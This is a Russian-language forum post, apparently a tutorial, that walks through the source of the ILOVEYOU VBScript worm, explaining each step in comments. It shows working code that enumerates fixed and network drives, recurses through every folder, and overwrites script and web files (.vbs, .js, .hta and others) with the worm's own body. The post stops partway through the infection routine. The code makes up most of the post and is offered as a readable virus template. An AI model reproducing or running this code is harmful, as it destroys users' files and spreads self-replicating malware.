vot, primer virusa, a tam sam razvereshaya P.S. on na vbScripte navayan -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Все предельно просто и не выходит за рамки того материала, который расположен на нашем ресурсе. Во-первых, чтобы добраться до файлов сначала нужно определить, какими дисководами рапологает компьтер. Сделать это просто - используется объект FSO (Drive), что и было сделано филиппинцем.... ----------------------------------------------------------------- 'Застараховываем себя от непредвиденных ошибок On Error Resume Next 'Объявляем переменные Dim d,dc,s, fso 'Создаем объект FSO Set fso = CreateObject("Scripting.FileSystemObject") 'С помощью объект FSO получаем объект Drives Set dc = fso.Drives 'И наконец, организуя цикл, просматриваем какие же дисководы имеет данный компьютер For Each d in dc 'Т.к. необходимы только фиксированные и сетевые дисководы ставим ограничение 2 и 3 If d.DriveType = 2 or d.DriveType=3 Then 'Вызываем подпрограмму просмотра папок folderlist( d.path & "\") end if Next ------------------------------------------------------------------ Этот скрипт вы можете скопировать в любой текстовый редактор, добавить в соответствующее место MsgBox и присвоив ему расширение *.vbs , запустить его на исполнение. Через секунду вы будете знать (хотя знали это наверняка), какие дисководы существуют на вашем компьютере. Теперь дело за папками, ведь файлы находятся в папках (как правило). Чуть изменим вышеприведенный код и приведем его в тот вид, каким его создал филиппинец. On Error Resume Next Dim fso Set fso = CreateObject("Scripting.FileSystemObject") main() sub main() listadriv() end sub sub listadriv() On Error Resume Next Dim d, dc, s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path & "\") end if Next end sub Как вы сразу зметили в цикле просмотра дисководов появился вызов новой подпрограммы - folderlist(d.path & "\"), а аргументом у него – путь к дисководу (С\: и другие ...). Это означает, что выбрав певый же дисковод на вашем компьетере скрипт устремляется просматривать все папки находящиеся на нем. ----------------------------------------------- 'Подпрограмма просмотра папок на дисководе sub folderlist(folderspec) 'Опять застараховываем себя от непредвиденных ошибок On Error Resume Next 'Объявляем переменные dim f,f1,sf 'Получаем объект Folder set f = fso.GetFolder(folderspec) 'Получаем объект SubFolders set sf = f.SubFolders 'И наконец, организуя цикл, просматриваем папки for each f1 in sf 'Как только находим первую папку, то сразу ее открываем, т.е. опять входим в подпрограмму 'и так до тех пор, пока не будет просмотренны все вложенные папки первой найденной....и так со всеми 'папками folderlist(f1.path) next end sub ------------------------------------------------------ Довольно просто, не правдали? Так запросто просматриваешь все свои каталоги. Ну вот, папки все, как говорится 'до донышка' просмотренны и теперь самое главное – файлы. Как и отмечалось выше - файлы находятся в папках, но не все, какая-то маленькая их часть может распологаться непосредственно и на дисководе, и в папках, которые в свою очередь содержат в себе еще папки. А по-сему в цикл просмотра папок ставится вызов еще одной подпрограммы, как ее назвал филиппинец – infectfiles() . sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub Вот теперь начинается самое 'интересное'...... 'Подпрограмма просмотра файлов и их заражения sub infectfiles(folderspec) 'Застараховываем себя от непредвиденных ошибок On Error Resume Next 'Объявляем переменные dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 'Получаем объект Folders set f = fso.GetFolder(folderspec) 'Получаем объект File set fc = f.Files 'Oрганизовываем цикл, просматривая файлы, но... for each f1 in fc 'Получаем расширение файла ext=fso.GetExtensionName(f1.path) 'Переводим все буквы в нижний регистр (т.е. делаем строчными) ext=lcase(ext) 'Получаем имя файла s=lcase(f1.name) 'Осуществляем отбор по нужному разшерению if (ext="vbs") or (ext="vbe") then 'Открываем файл для записи – 2 – указывает на запись set ap=fso.OpenTextFile(f1.path,2,true) 'Записываем в него vbscopy, где в программе филиппинца это означает, что в файл записывается весь файл I LOVE YOU ap.write vbscopy 'Закрываем файл ap.close 'Если расширение такое (какое указанно), то elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then 'следует такая же процедура, что и вверху set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close 'Определяем базовое имя bname=fso.GetBaseName(f1.path) 'Получаем существующий файл set cop=fso.GetFile(f1.path)  
Ответить
|